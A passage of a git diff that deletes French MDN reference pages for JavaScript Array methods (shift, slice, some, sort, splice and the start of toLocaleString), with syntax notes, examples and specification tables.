La méthode shift() peut être utilisée dans une boucle while. Dans l'exemple suivant, chaque itération de la boucle retire un élément du tableau et l'affiche dans la console, jusqu'à ce que ce dernier soit vide.

- -
var noms = ["André", "Édouard", "Paul", "Christophe", "Jean"];
-while ( (i = noms.shift()) !== undefined ) {
-  console.log(i);
-}
-// André, Édouard, Paul, Christophe, Jean
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.9', 'Array.prototype.shift')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.shift', 'Array.prototype.shift')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.shift', 'Array.prototype.shift')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.shift")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.push()")}}
    • -
  • {{jsxref("Array.prototype.pop()")}}
    • -
  • {{jsxref("Array.prototype.unshift()")}}
    • -
  • {{jsxref("Array.prototype.concat()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/array/slice/index.html deleted file mode 100644 index 98dac60521..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/slice/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Array.prototype.slice() -slug: Web/JavaScript/Reference/Objets_globaux/Array/slice -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/slice ---- -
{{JSRef}}
- -

La méthode slice() renvoie un objet tableau, contenant une copie superficielle (shallow copy) d'une portion du tableau d'origine, la portion est définie par un indice de début et un indice de fin (exclus). Le tableau original ne sera pas modifié.

- -
{{EmbedInteractiveExample("pages/js/array-slice.html")}}
- - - -

Syntaxe

- -
arr.slice()
-arr.slice(début)
-arr.slice(début, fin)
-
- -

Paramètres

- -
-
début {{optional_inline}}
-
Indice (à partir de zéro) depuis lequel commencer l'extraction.
-
S'il s'agit d'un indice négatif, début indique un décalage depuis la fin de la séquence. Par exemple, slice(-2) extrait les avant-dernier et dernier éléments dans la séquence.
-
- Si début est absent, slice() commencera depuis 0. Si début est supérieur à la taille du tableau, c'est un tableau vide qui sera renvoyé.
-
- -
-
fin {{optional_inline}}
-
Indice (à partir de zéro) auquel arrêter l'extraction. slice() extrait jusqu'à cet indice, mais pas l'élément situé en fin lui-même.
-
slice(1,4) extrait du deuxième au quatrième élément (les éléments d'indices 1, 2 et 3).
-
S'il s'agit d'un indice négatif, fin indique un décalage depuis la fin de la séquence. slice(2,-1) extrait du troisième à l'avant-dernier élément dans la séquence.
-
Si fin n'est pas fourni, slice() extraira jusqu'à la fin de la séquence (arr.length). Si fin est supérieur à la longueur de la séquence, slice() fera une extraction jusqu'à la fin de la séquence.
-
- -

Valeur de retour

- -

Un nouveau tableau contenant les éléments extraits.

- -

Description

- -

slice() ne modifie pas le tableau original, mais renvoie une nouvelle copie du tableau (shallow copy — copie superficielle) dont les éléments sont des copies des éléments extraits du tableau original. Les éléments du tableau original sont copiés dans le nouveau tableau de la manière suivante :

- -
    -
  • Pour les références à des objets (et non les objets eux-mêmes), slice() copie ces références dans le nouveau tableau. Tant l'original que le nouveau tableau font référence au même objet. Si un objet référencé est modifié, ces changements sont visibles tant pour le nouveau que pour l'ancien tableau.
    • -
  • Pour les chaines de caractères, les nombres et les booléens, slice() copie ces chaines de caractères, ces nombres et ces valeurs booléennes dans le nouveau tableau. Les modifications sur ces chaînes, nombres ou booléens dans l'un des tableaux n'affectent pas l'autre tableau (NB : lorsque l'on parle de chaine de caractères, de nombre ou de booléen ici, on parle exclusivement de leur type primitif, pas des objets {{jsxref("String")}}, {{jsxref("Number")}} ou {{jsxref("Boolean")}} — voir par exemple différences entre objet String et type primitif pour les chaines de caractères).
    • -
- -

Si un nouvel élément est ajouté à l'un ou l'autre tableau, le second n'est pas affecté.

- -

Exemples

- -

Renvoyer un fragment d'un tableau existant

- -
var fruits = ["Banane", "Orange", "Citron", "Pomme", "Mangue"];
-var agrumes = fruits.slice(1, 3);
-
-// fruits vaut --> ["Banane", "Orange", "Citron", "Pomme", "Mangue"]
-// agrumes vaut --> ["Orange", "Citron"]
- -

Utiliser slice()

- -

Dans l'exemple qui suit, slice() crée un nouveau tableau, nouvelleVoiture, à partir de maVoiture. Chacun d'entre eux contient une référence à l'objet maHonda. Lorsque la couleur de maHonda est changée en bordeaux, les deux tableaux reflètent ce changement.

- -
// Avec slice, crée nouvelleVoiture depuis maVoiture
-var maHonda = { couleur : "rouge", roues : 4, moteur : { cylindres : 4, capacité : 2.2 } };
-var maVoiture = [maHonda, 2, "excellente condition", "achetée en 1997"];
-var nouvelleVoiture = maVoiture.slice(0, 2);
-
-// Affiche les valeurs de maVoiture, nouvelleVoiture et la couleur de maHonda
-// référencées depuis chacun des tableaux.
-console.log("maVoiture = " + JSON.stringify(maVoiture));
-console.log("nouvelleVoiture = " + JSON.stringify(nouvelleVoiture));
-console.log("maVoiture[0].couleur = " + maVoiture[0].couleur);
-console.log("nouvelleVoiture[0].couleur = " + nouvelleVoiture[0].couleur);
-
-// Change la couleur de maHonda.
-maHonda.couleur = "bordeaux";
-console.log("La nouvelle couleur de ma Honda est " + maHonda.couleur);
-
-// Affiche la couleur de maHonda référencées depuis les deux tableaux.
-console.log("maVoiture[0].couleur = " + maVoiture[0].couleur);
-console.log("nouvelleVoiture[0].couleur = " + nouvelleVoiture[0].couleur);
-
- -

Ce script affichera :

- -
maVoiture = [{couleur:"rouge", roues:4, moteur:{cylindres:4, capacité:2.2}}, 2,
-             "excellente condition", "achetée en 1997"]
-nouvelleVoiture = [{couleur:"rouge", roues:4, moteur:{cylindres:4, capacité:2.2}}, 2]
-maVoiture[0].couleur = rouge
-nouvelleVoiture[0].couleur = rouge
-La nouvelle couleur de ma Honda est bordeaux
-maVoiture[0].couleur = bordeaux
-nouvelleVoiture[0].couleur = bordeaux
-
- -

Utilisation avec les objets similaires aux tableaux

- -

La méthode slice() peut aussi être appelée pour convertir des objets/collections similaires à des tableaux, en un nouveau tableau. L'objet {{jsxref("Fonctions/arguments", "arguments")}} d'une fonction est un exemple d'objet similaire à un tableau.

- -
function list() {
-  return Array.prototype.slice.call(arguments, 0);
-}
-
-var list1 = list(1, 2, 3); // [1, 2, 3]
-
- -

Il est possible de lier avec la fonction .call de {{jsxref("Function.prototype")}} et on peut effectuer la réduction avec [].slice.call(arguments) plutôt qu'avec Array.prototype.slice.call. Voici comment on peut simplifier avec {{jsxref("Function.prototype.bind", "bind")}} :

- -
var unboundSlice = Array.prototype.slice;
-var slice = Function.prototype.call.bind(unboundSlice);
-
-function list() {
-  return slice(arguments, 0);
-}
-
-var list1 = list(1, 2, 3); // [1, 2, 3]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.10', 'Array.prototype.slice')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.slice', 'Array.prototype.slice')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.slice")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Function.prototype.call()")}}
    • -
  • {{jsxref("Function.prototype.bind()")}}
    • -
  • {{jsxref("Array.prototype.splice()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/some/index.html b/files/fr/web/javascript/reference/objets_globaux/array/some/index.html deleted file mode 100644 index 2d3b197c16..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/some/index.html +++ /dev/null @@ -1,133 +0,0 @@ ---- -title: Array.prototype.some() -slug: Web/JavaScript/Reference/Objets_globaux/Array/some -tags: - - Array - - ECMAScript 5 - - JavaScript - - Méthode - - Prototype - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/some ---- -
{{JSRef}}
- -

La méthode some() teste si au moins un élément du tableau passe le test implémenté par la fonction fournie. Elle renvoie un booléen indiquant le résultat du test.

- -
-

Note : Cette méthode renverra false, quelle que soit la condition, si elle est utilisée sur un tableau vide.

-
- -
{{EmbedInteractiveExample("pages/js/array-some.html")}}
- - - -

Syntaxe

- -
arr.some(callback[, objetThis])
- -

Paramètres

- -
-
callback
-
La fonction à tester pour chaque élément du tableau. Cette fonction utilise trois arguments : -
-
valeurCourante
-
L'élément du tableau à traiter par la fonction.
-
index {{optional_inline}}
-
L'indice de l'élément qui est traité par la fonction.
-
array {{optional_inline}}
-
Le tableau sur lequel on a appelé la méthode some.
-
-
-
objetThis {{optional_inline}}
-
Paramètre optionnel. Il correspond à la valeur à utiliser pour this lors de l'exécution de la fonction callback.
-
- -

Valeur de retour

- -

true si la fonction callback renvoie une valeur équivalente à true pour au moins un des éléments du tableau, sinon elle renvoie false.

- -

Description

- -

La méthode some() exécute la fonction callback une seule fois pour chaque élément présent dans le tableau jusqu'à ce qu'elle en trouve un pour lequel callback renvoie une valeur équivalente à true dans un contexte booléen. Si un tel élément est trouvé, some() renvoie immédiatement true. Dans le cas contraire, some renvoie false. callback n'est invoquée que pour les indices du tableau auxquels des valeurs sont assignées ; elle n'est pas invoquée pour les indices qui ont été supprimés ou auxquels aucune valeur n'a jamais été assignée.

- -

La fonction callback est invoquée avec trois paramètres : la valeur de l'élément, l'indice de l'élément et l'objet Array parcouru.

- -

Si un paramètre objetThis est fourni à some(), il sera utilisé comme valeur de this pour chaque invocation du callback. Sinon, la valeur  {{jsxref("undefined")}} sera passée pour utilisation comme valeur this. La valeur this finalement utilisée par callback est déterminée en fonction des règles habituelles pour déterminer this pour une fonction.

- -

La méthode some() ne modifie pas le tableau sur lequel elle est appelée.

- -

La liste des éléments traités par some() est définie avant la première invocation du callback. Les éléments qui sont ajoutés au tableau après le début de l'appel à some ne seront pas visités par callback. Si un élément existant non encore visité est modifié par callback, sa valeur passée à callback sera sa valeur au moment où some visite l'indice de cet élément ; les éléments supprimés ne seront pas visités.

- -

Exemples

- -

Tester la valeur des éléments d'un tableau

- -

L'exemple suivant teste si certains éléments d'un tableau sont plus grands que 10.

- -
function estAssezGrand(element, indice, array) {
-  return (element >= 10);
-}
-var resultat = [2, 5, 8, 1, 4].some(estAssezGrand);
-// resultat vaut false
-passed = [12, 5, 8, 1, 4].some(estAssezGrand);
-// passed vaut true
-
- -

Tester la valeur des éléments avec les fonctions fléchées

- -

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour réaliser la même opération que l'exemple précédent.

- -
[2, 5, 8, 1, 4].some(elem => elem > 10); // false
-[12, 5, 8, 1, 4].some(elem => elem > 10); // true
- -
-

Note : Si on veut vérifier qu'un élément est dans un tableau, on pourra utiliser la méthode {{jsxref("Array.prototype.includes()")}}.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.some")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.find()")}}
    • -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Array.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.includes()")}}
    • -
  • {{jsxref("TypedArray.prototype.some()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/sort/index.html b/files/fr/web/javascript/reference/objets_globaux/array/sort/index.html deleted file mode 100644 index a7fb7a8981..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/sort/index.html +++ /dev/null @@ -1,286 +0,0 @@ ---- -title: Array.prototype.sort() -slug: Web/JavaScript/Reference/Objets_globaux/Array/sort -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort ---- -
{{JSRef}}
- -

La méthode sort() trie les éléments d'un tableau, dans ce même tableau, et renvoie le tableau. Par défaut, le tri s'effectue sur les éléments du tableau convertis en chaînes de caractères et triées selon les valeurs des unités de code UTF-16 des caractères.

- -

La complexité en espace mémoire et en temps utilisée pour le tri ne peut pas être garantie car elle dépend de l'implémentation.

- -
{{EmbedInteractiveExample("pages/js/array-sort.html")}}
- - - -

Syntaxe

- -
arr.sort()
-arr.sort(fonctionComparaison)
- -

Paramètres

- -
-
fonctionComparaison {{optional_inline}}
-
Ce paramètre optionnel permet de spécifier une fonction définissant l'ordre de tri. Si absente, le tableau est trié selon la valeur de point de code Unicode de chaque caractère, d'après la conversion en chaine de caractères de chaque élément. Cette fonction prendra deux arguments : le premier élément à comparer et le deuxième élément à comparer.
-
- -

Valeur de retour

- -

Le tableau trié (le tri est effectué sur le tableau courant qui est modifié, aucune copie n'est réalisée).

- -

Description

- -

Si le paramètre fonctionComparaison n'est pas fourni, les éléments qui ne valent pas undefined sont triés en les convertissant en chaines de caractères et en comparant ces chaines selon l'ordre des points de code Unicode. Par exemple, "banane" sera trié avant "cerise", mais "Cerise" arrivera avant "banane" à cause de la majuscule (les majuscules arrivent avant dans la liste). Dans un tri numérique, 9 sera trié avant 80, mais comme ces nombres sont convertis en chaînes de caractères, "80" arrive avant "9" selon l'ordre des unités de code UTF-16. Les éléments valant undefined sont placés à la fin du tableau.

- -
-

Note : En UTF-16, les caractères Unicode situés après \uFFFF sont encodés avec deux unités de code surrogates sur l'intervalle \uD800-\uDFFF. Pour comparer les chaînes de caractères entre elles, ce sont les unités de code séparées qui sont prises en compte. Ainsi, le caractère formé par la paire surrogate \uD655 \uDE55 sera trié avant le caractère \uFF3A.

-
- -

Si le paramètre fonctionComparaison est fourni, les éléments du tableau (qui ne valent pas undefined) sont triés selon la valeur de retour de la fonction de comparaison. Si a et b sont deux éléments à comparer, alors :

- -
    -
  • Si fonctionComparaison(a, b) est inférieur à 0, on trie a avec un indice inférieur à b (a sera classé avant b)
    • -
  • Si fonctionComparaison(a, b) renvoie 0, on laisse a et b inchangés l'un par rapport à l'autre, mais triés par rapport à tous les autres éléments. Note : la norme ECMAScript ne garantit pas ce comportement, par conséquent tous les navigateurs (par exemple les versions de Mozilla antérieures à 2003) ne respectent pas ceci.
    • -
  • Si fonctionComparaison(a, b) est supérieur à 0, on trie b avec un indice inférieur à a.
    • -
  • fonctionComparaison(a, b) doit toujours renvoyer le même résultat à partir de la même paire d'arguments. Si la fonction renvoie des résultats incohérents, alors l’ordre dans lequel sont triés les éléments n’est pas défini.
    • -
- -

Une fonction de comparaison aura donc généralement la forme suivante :

- -
function compare(a, b) {
-  if (a est inférieur à b selon les critères de tri)
-     return -1;
-  if (a est supérieur à b selon les critères de tri)
-     return 1;
-  // a doit être égal à b
-  return 0;
-}
-
- -

Pour comparer des nombres plutôt que des chaînes, la fonction de comparaison peut simplement soustraire b à a (cela fonctionnera si le tableau ne contient pas {{jsxref("NaN")}} ou {{jsxref("Infinity")}}) :

- -
function compareNombres(a, b) {
-  return a - b;
-}
-
- -

L'usage des {{jsxref("Opérateurs/L_opérateur_function", "expressions de fonctions","",11)}} s'avère très pratique avec la méthode sort() :

- -
var nombres = [4, 2, 5, 1, 3];
-nombres.sort(function(a, b) {
-  return a - b;
-});
-console.log(nombres);
-// [1, 2, 3, 4, 5]
-
- -

ECMAScript 2015 permet d'utiliser les fonctions fléchées et ainsi d'obtenir une syntaxe plus concise :

- -
let nombres = [4, 2, 5, 1, 3];
-nombres.sort((a, b) => a - b);
-console.log(nombres);
- -

Les objets peuvent être triés d'après les valeurs d'une de leurs propriétés.

- -
var items = [
-  { name: "Edward", value: 21 },
-  { name: "Sharpe", value: 37 },
-  { name: "And", value: 45 },
-  { name: "The", value: -12 },
-  { name: "Magnetic", value: 13 },
-  { name: "Zeros", value: 37 }
-];
-items.sort(function (a, b) {
-  return a.value - b.value;
-});
- -

Différences d'implémentation

- -

Certaines implémentations de JavaScript utilisent un tri stable : l'ordre partiel de a et b ne change pas si a et b sont égaux. Si l'indice de a était inférieur à celui de b avant le tri, il le sera toujours après, quels que soient les mouvements de a et b dus au tri.

- -

Le tri est stable dans SpiderMonkey et tous les navigateurs basés sur Mozilla à partir de Gecko 1.9 (voir le {{ Bug(224128) }}).

- -

Le comportement de la méthode sort() a changé entre JavaScript 1.1 et JavaScript 1.2.

- -

En JavaScript 1.1, sur certaines plateformes, la méthode sort ne fonctionnait pas. Le tri fonctionne sur toutes les plateformes à partir de JavaScript 1.2.

- -

En JavaScript 1.2, cette méthode ne convertit plus les éléments non définis (undefined) en null ; elle les place en fin de tableau. Par exemple, supposons que vous ayez ce script :

- -
var a = [];
-a[0] = "araignée";
-a[5] = "zèbre";
-
-function writeArray(x) {
-  for (i = 0; i < x.length; i++) {
-    console.log(x[i]);
-    if (i < x.length-1)
-      console.log(", ");
-  }
-}
-
-writeArray(a);
-a.sort();
-console.log("\n");
-writeArray(a);
-
- -

En JavaScript 1.1, cette fonction affichait :

- -
araignée, null, null, null, null, zèbre
-araignée, null, null, null, null, zèbre
-
- -

En JavaScript 1.2, elle affichera :

- -
araignée, undefined, undefined, undefined, undefined, zèbre
-araignée, zèbre, undefined, undefined, undefined, undefined
-
- -

Exemples

- -

Création, affichage et tri d'un tableau

- -

L'exemple qui suit crée quatre tableaux et affiche le tableau original, puis les tableaux triés. Les tableaux numériques sont triés d'abord sans, puis avec une fonction de comparaison.

- -
var stringArray = ["Bosse", "Bleue", "Béluga"];
-var numericStringArray = ["80", "9", "700"];
-var numberArray = [40, 1, 5, 200];
-var mixedNumericArray = ["80", "9", "700", 40, 1, 5, 200];
-
-function compareNombres(a, b) {
-  return a - b;
-}
-
-console.log("Chaînes : " + stringArray.join() +"\n");
-console.log("Triées : " + stringArray.sort() +"\n\n");
-
-console.log("Nombres : " + numberArray.join() +"\n");
-console.log("Triés sans fonction de comparaison : " + numberArray.sort() +"\n");
-console.log("Triés avec compareNombres : " + numberArray.sort(compareNombres) +"\n\n");
-
-console.log("Chaînes numériques : " + numericStringArray.join() +"\n");
-console.log("Triées sans fonction de comparaison : " + numericStringArray.sort() +"\n");
-console.log("Triées avec compareNombres : " + numericStringArray.sort(compareNombres) +"\n\n");
-
-console.log("Nombres et chaînes numériques : " + mixedNumericArray.join() +"\n");
-console.log("Triés sans fonction de comparaison : " + mixedNumericArray.sort() +"\n");
-console.log("Triés avec compareNombres : " + mixedNumericArray.sort(compareNombres) +"\n\n");
-
- -

Cet exemple produit la sortie suivante. Comme on peut le voir, lorsqu'on utilise la fonction de comparaison, les nombres sont triés correctement qu'ils soient des nombres ou des chaînes numériques.

- -
Chaînes : Bosse,Bleue,Béluga
-Triées : Bleue,Bosse,Béluga
-
-Nombres : 40,1,5,200
-Triés sans fonction de comparaison : 1,200,40,5
-Triés avec compareNombres : 1,5,40,200
-
-Chaînes numériques : 80,9,700
-Triées sans fonction de comparaison : 700,80,9
-Triées avec compareNombres : 9,80,700
-
-Nombres et chaînes numériques : 80,9,700,40,1,5,200
-Triés sans fonction de comparaison : 1,200,40,5,700,80,9
-Triés avec compareNombres : 1,5,9,40,80,200,700
-
- -

Trier des caractères non-ASCII

- -

Pour des chaines de caractères contenant des caractères non ASCII, c'est à dire des chaines de caractères contenant par exemple des accents (é, è, a, ä, etc.) : utilisez {{jsxref("String.localeCompare")}}. Cette fonction peut comparer ces caractères afin qu'ils apparaissent dans le bon ordre.

- -
var items = ["réservé", "premier", "cliché", "communiqué", "café" ,"adieu"];
-items.sort(function (a, b) {
-  return a.localeCompare(b);
-});
-
-// items is [ 'adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé' ]
- -

Trier avec map

- -

La fonction de comparaison peut être amenée à être appelée plusieurs fois pour un même élément du tableau. Selon la fonction utilisée, cela peut entraîner des problèmes de performances. Plus le tableau est grand et plus la fonction de comparaison est complexe, plus il sera judicieux d'envisager des opérations de fonctions appliquées au tableau (map). L'idée est la suivante : on extrait les valeurs du tableau original, en appliquant des opérations dans un tableau temporaire, puis on trie ce tableau temporaire. Enfin, on recompose le tableau final avec les éléments du premier tableau et l'ordre obtenu.

- -
// le tableau à trier
-var liste = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
-
-// Création d'objet temporaire qui contient les positions
-// et les valeurs en minuscules
-var mapped = liste.map(function(e, i) {
-  return { index: i, value: e.toLowerCase() };
-})
-
-// on trie l'objet temporaire avec les valeurs réduites
-mapped.sort(function(a, b) {
-  if (a.value > b.value) {
-    return 1;
-  }
-  if (a.value < b.value) {
-    return -1;
-  }
-  return 0;
-});
-
-// on utilise un objet final pour les résultats
-var result = mapped.map(function(e){
-  return liste[e.index];
-});
-
- -
-

Note : Une bibliothèque open source utilise cette approche : mapsort.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.sort")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/array/splice/index.html b/files/fr/web/javascript/reference/objets_globaux/array/splice/index.html deleted file mode 100644 index 660bd81fb3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/splice/index.html +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Array.prototype.splice() -slug: Web/JavaScript/Reference/Objets_globaux/Array/splice -tags: - - Array - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice ---- -
{{JSRef}}
- -

La méthode splice() modifie le contenu d'un tableau en retirant des éléments et/ou en ajoutant de nouveaux éléments à même le tableau.On peut ainsi vider ou remplacer une partie d'un tableau.

- -
{{EmbedInteractiveExample("pages/js/array-splice.html")}}
- - - -

Syntaxe

- -
var tabElementsSupprimes = array.splice(début, nbASupprimer[, élem1[, élem2[, ...]]])
-
- -

Paramètres

- -
-
début
-
L'indice à partir duquel commencer à changer le tableau (l'indice du premier élement étant 0).
-
Si sa valeur est supérieure à la longueur du tableau array.length, début est ramené à la longueur du tableau array.length.
-
S'il est négatif, le changement commencera d'autant d'éléments à partir de la fin du tableau, c'est à dire à partir de l'index  array.length + début. Si array.length + début est inférieur à 0, le changement commencera à l'index 0.
-
- -
-
nbASupprimer
-
Un entier indiquant le nombre d'anciens éléments à remplacer.
- Si ce paramètre est absent ou si sa valeur est supérieure ou égale à array.length - début, alors les éléments entre début et la fin du tableau seront supprimés.
-
Si nbASupprimer vaut 0, aucun élément ne sera supprimé. Dans ce cas, il est nécessaire de spécifier au moins un nouvel élément.
-
- -
-
élemN
-
Les éléments à ajouter au tableau à partir de début. Si vous ne spécifiez pas de nouvel élément, les anciens éléments seront simplement supprimés du tableau.
-
- -

Valeur de retour

- -

Un tableau contenant les éléments supprimés. Si un seul élément est supprimé, un tableau contenant un unique élément est retourné.

- -

Description

- -

Si vous spécifiez un nombre différent d'éléments à insérer et d'éléments à supprimer, le tableau aura une longueur différente après l'appel de la méthode.

- -

Exemples

- -

Utiliser splice

- -

Le script suivant illustre l'utilisation de splice :

- -
var mesPoissons  = ["scalaire", "clown", "mandarin", "chirurgien"];
-
-// supprime 0 élément à partir de l'index 2, et insère "tambour"
-var enleves = mesPoissons.splice(2, 0, "tambour");
-// mesPoissons est ["scalaire", "clown", "tambour", "mandarin", "chirurgien"]
-// enleves est [], aucun élément supprimé
-
-// supprime 1 élément à partir de l'index 3
-enleves = mesPoissons.splice(3, 1);
-// mesPoissons est ["scalaire", "clown", "tambour", "chirurgien"]
-// enleves est ["mandarin"]
-
-// supprime 1 élément à partir de l'index 2, et insère "trompette"
-enleves = mesPoissons.splice(2, 1, "trompette");
-// mesPoissons est ["scalaire", "clown", "trompette", "chirurgien"]
-// enleves est ["tambour"]
-
-// supprime 2 éléments à partir de l'index 0, et insère "perroquet", "anémone" et"bleu"
-enleves = mesPoissons.splice(0, 2, "perroquet", "anémone", "bleu");
-// mesPoissons est ["perroquet", "anémone", "bleu", "trompette", "chirurgien"]
-// enleves est ["scalaire", "clown"]
-
-// supprime 2 éléments à partir de l'indice 2
-enleves = mesPoissons.splice(mesPoissons.length - 3, 2);
-// mesPoissons est ["perroquet", "anémone", "chirurgien"]
-// enleves est ["bleu", "trompette"]
-
-var mesPoissons = ["perroquet", "anémone", "bleu", "trompette", "chirurgien"];
-// on retire trois éléments à partir de l'indice 2
-enleves = mesPoissons.splice(2);
-// mesPoissons vaut ["perroquet", "anémone"]
-// enleves vaut ["bleu", "trompette", "chirurgien"]
-
-var mesAnimaux = ["cheval", "chien", "chat", "dauphin"];
-enleves = mesAnimaux.splice(-2, 1);
-
-// mesAnimaux vaut ["cheval", "chien", "dauphin"]
-// enleves vaut ["chat"]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-array.prototype.splice', 'Array.prototype.splice')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-array.prototype.splice', 'Array.prototype.splice')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-15.4.4.12', 'Array.prototype.splice')}}{{Spec2('ES5.1')}}
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Array.splice")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.push", "push")}} / {{jsxref("Array.prototype.pop", "pop")}} pour ajouter/supprimer des éléments en fin de tableau
    • -
  • {{jsxref("Array.prototype.unshift", "unshift")}} / {{jsxref("Array.prototype.shift", "shift")}} pour ajouter/supprimer des éléments en début de tableau
    • -
  • {{jsxref("Array.prototype.concat", "concat")}} qui renvoie un nouveau tableau résultat de la concaténation d'un tableau avec un autre tableau ou d'autres valeurs
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/array/tolocalestring/index.html deleted file mode 100644 index 5d686a85bd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/array/tolocalestring/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: Array.prototype.toLocaleString() -slug: Web/JavaScript/Reference/Objets_globaux/Array/toLocaleString -tags: - - Array - - Internationalisation - - JavaScript - - Méthode - - Prototype - - Reference - - i18n - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString ---- -
{{JSRef}}
- -

La méthode toLocaleString() renvoie une chaîne de caractères qui représente les éléments du tableau. Les éléments sont convertis en chaînes de caractères grâce à leurs méthodes toLocaleString et chacune de ces chaînes est séparée des autres avec un séparateur propre à la locale courante (par exemple une virgule ou un point).

- -
{{EmbedInteractiveExample("pages/js/array-tolocalestring.html")}}
- - - -

Syntaxe

- -
arr.toLocaleString();
-arr.toLocaleString(locales);
-arr.toLocaleString(locales, options);
-
- -

Paramètres

- -
-
locales {{optional_inline}}
-
Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales. Pour plus de détails quant à la forme et l'interprétation de l'argument locales, on consultera la page {{jsxref("Intl")}}.
-
options {{optional_inline}}
-
Un objet qui contient des propriétés de configuration. Pour les nombres, consulter {{jsxref("Number.prototype.toLocaleString()")}}, pour les dates, consulter {{jsxref("Date.prototype.toLocaleString()")}}.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente les éléments du tableau.

- -

Exemples

- -

Utiliser les arguments locales et options

- -

Les éléments du tableau sont converties en chaînes de caractères via leurs méthodes toLocaleString().

- -
    -
  • Object : {{jsxref("Object.prototype.toLocaleString()")}}
    • -
  • Number : {{jsxref("Number.prototype.toLocaleString()")}}
    • -
  • Date : {{jsxref("Date.prototype.toLocaleString()")}}
    • -
- -

Ici, on voit qu'on affiche le symbole de la devise de la locale pour chacun des éléments (nombres ou chaînes de caractères) du tableau prix :

- -
var prix = ["￥7", 500, 8123, 12];
-prix.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' });
-
-// "￥7,￥500,￥8,123,￥12"
-
- -

Pour plus d'exemples, on peut se référer aux pages {{jsxref("Intl")}}, {{jsxref("NumberFormat")}} et {{jsxref("DateTimeFormat")}}.

- -

Prothèse d'émulation (polyfill)

- -
// https://tc39.github.io/ecma402/#sup-array.prototype.tolocalestring
-if (!Array.prototype.toLocaleString) {
-  Object.defineProperty(Array.prototype, 'toLocaleString', {
-    value: function(locales, options) {
-      // 1. Let O be ? ToObject(this value).
-      if (this == null) {
-        throw new TypeError('"this" is null or not defined');
-      }
-
-      var a = Object(this);
-
